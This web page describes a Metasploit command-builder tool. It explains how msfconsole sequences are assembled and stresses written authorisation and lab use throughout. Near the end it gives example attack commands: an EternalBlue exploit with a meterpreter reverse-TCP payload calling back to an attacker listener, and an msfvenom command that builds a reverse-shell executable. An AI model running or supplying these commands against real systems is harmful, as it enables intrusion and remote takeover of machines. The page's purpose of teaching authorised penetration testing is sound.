Build Metasploit msfconsole command sequences from module presets, payload and option selectors. For authorised penetration testing and lab use only.
This tool assembles Metasploit msfconsole command sequences from a visual interface. You pick a module, set options such as RHOSTS, LHOST and ports, choose a payload where relevant, and the builder writes out the ordered list of console commands — use, set, and run — ready to copy into a lab. It is a reference and command-construction aid, not an exploitation engine: nothing runs here, no target is contacted, and the output is simply the text you would type into a Metasploit console you control.
Authorised use only. Metasploit is a dual-use offensive-security framework. Running these commands against systems you do not own or do not have explicit, written permission to test is illegal in most jurisdictions and can cause real damage. The legitimate audience for this tool is penetration testers working within a signed scope of engagement, and defenders reproducing a finding in an isolated lab. If you do not have written authorisation for a specific target, do not point any of this at it.
Two groups get value from a command builder like this. Penetration testers with an agreed rules-of-engagement document use it to assemble and document the exact commands they will run, so the engagement is repeatable and auditable. Defenders and blue teams use it to reproduce a reported vulnerability inside a deliberately vulnerable lab — a Metasploitable VM, a snapshot of a patched-and-unpatched pair — to confirm a detection fires or a patch holds. In both cases the target is one you are authorised to touch, and the work happens in a controlled environment. This page describes how commands are constructed; it is not a walkthrough for attacking anyone's live systems.
Metasploit is organised around modules, and the builder mirrors that structure:
RHOSTS (the target you are authorised to test), RPORT, THREADS, and for payloads LHOST and LPORT (your own listener).set payload line is formed.The output is a commented sequence of console commands grouped by phase, so it doubles as documentation of what you intend to do.
Understanding the command shape is the point of the tool. A typical console interaction follows a fixed pattern: select a module with use <module/path>, configure it with one set <OPTION> <value> line per setting, optionally choose a payload with set payload <payload>, review with show options, and execute with run or exploit. For example, configuring an auxiliary port scanner looks like:
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 1-1000
set THREADS 20
run
Here RHOSTS is a lab range you own, PORTS and THREADS tune the scan, and run starts it. The builder produces exactly this kind of sequence for whichever module and options you select, so you can read and understand each line before it goes anywhere near a console. The educational value is in seeing how options map to command lines, not in any single target.
Responsible use comes down to a few non-negotiables. Get authorisation in writing and keep the scope document handy. Work against systems you own or that the scope explicitly names — a personal lab of intentionally vulnerable VMs is the right place to learn. Prefer non-destructive modules (version scanners and checks) before anything that can crash a service, and heed the risk notes. Keep a record of what you ran, which is why generating a documented command sequence is itself good practice. This tool deliberately does not execute anything, evade any defence, or target real infrastructure; it helps you construct and understand commands you are already authorised to run.
No. It only generates command text. Nothing is executed, no host is contacted, and no exploitation happens in your browser. You copy the output into a Metasploit console that you control and are authorised to use.
The framework itself is legal and widely used for defensive testing. Running it against a system is only legal with the owner's explicit, written permission. Using it against systems you do not own or have authorisation to test is a crime in most jurisdictions.
Penetration testers operating under a signed scope of engagement, and defenders reproducing findings inside an isolated lab. If neither describes you and your target, do not proceed.
RHOSTS is the target address or range you are authorised to test. LHOST is your own listener address for payloads that call back to you. Setting these correctly — and only to systems in scope — is fundamental.
Use intentionally vulnerable, self-contained lab targets such as Metasploitable or purpose-built practice VMs on a network you own. Never practise against systems on the public internet that you do not control.
Some modules can crash or destabilise the target service. The risk notes flag those so you can make an informed choice, which is part of testing responsibly.
No. This is a command-construction and reference aid for authorised testing. It does not provide evasion techniques.
A structured penetration test moves through recognisable phases, and Metasploit modules map onto them. Reconnaissance and scanning identify live hosts and services — auxiliary scanner modules and dedicated tools like Nmap do this. Vulnerability identification confirms whether a discovered service is exposed to a known issue, which auxiliary check modules perform without weaponising anything. Exploitation, where an exploit module and a payload are used, only follows once a finding is confirmed and is in scope. Post-exploitation modules gather information from a system you have already accessed under authorisation. Seeing the module categories laid out this way reinforces that scanning and checking come first, and that the disruptive steps are a deliberate, documented decision — not the starting point.
The builder groups its presets along these phases precisely so the sequence reads as a plan. In a real engagement, the value of writing the commands out in advance is that they become part of the record: what you intended to run, against which in-scope target, with which options. That auditability protects both the tester and the client, and it is why a command-construction aid is useful even to experienced operators who could type the commands from memory.
For the reconnaissance phase of an authorised engagement, the Nmap command builder constructs scan commands the same visual way, and the IOC extractor helps on the defensive side by pulling indicators of compromise out of reports and logs.
The Metasploit Command Builder helps security professionals construct valid Metasploit Framework commands for authorized penetration testing. Metasploit is the most widely used open-source penetration testing framework, providing over 2,300 exploit modules, 600+ auxiliary modules, and hundreds of payloads that security teams use to identify vulnerabilities in their own systems.
Building Metasploit commands involves selecting the right module, configuring options (target host, port, payload, encoding), and setting advanced parameters. The command syntax can be complex, especially for multi-stage payloads, pivoting, and post-exploitation modules. A command builder simplifies this process by providing a structured interface for assembling valid msfconsole or msfvenom commands.
Metasploit operates through a modular architecture:
| Module Type | Purpose | Example |
|---|---|---|
| Exploit | Delivers payload by exploiting a vulnerability | exploit/windows/smb/ms17_010_eternalblue |
| Auxiliary | Scanning, fuzzing, fingerprinting (no payload) | auxiliary/scanner/portscan/tcp |
| Payload | Code that runs on the target after exploitation | windows/meterpreter/reverse_tcp |
| Post | Post-exploitation data gathering and pivoting | post/windows/gather/hashdump |
| Encoder | Obfuscates payloads (for evasion testing) | encoder/x86/shikata_ga_nai |
Standard workflow:
use exploit/windows/smb/ms17_010_eternalblueset RHOSTS 192.168.1.0/24 (target), set LHOST 192.168.1.100 (attacker)set PAYLOAD windows/meterpreter/reverse_tcpset LPORT 4444exploit or runmsfvenom generates standalone payloads: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe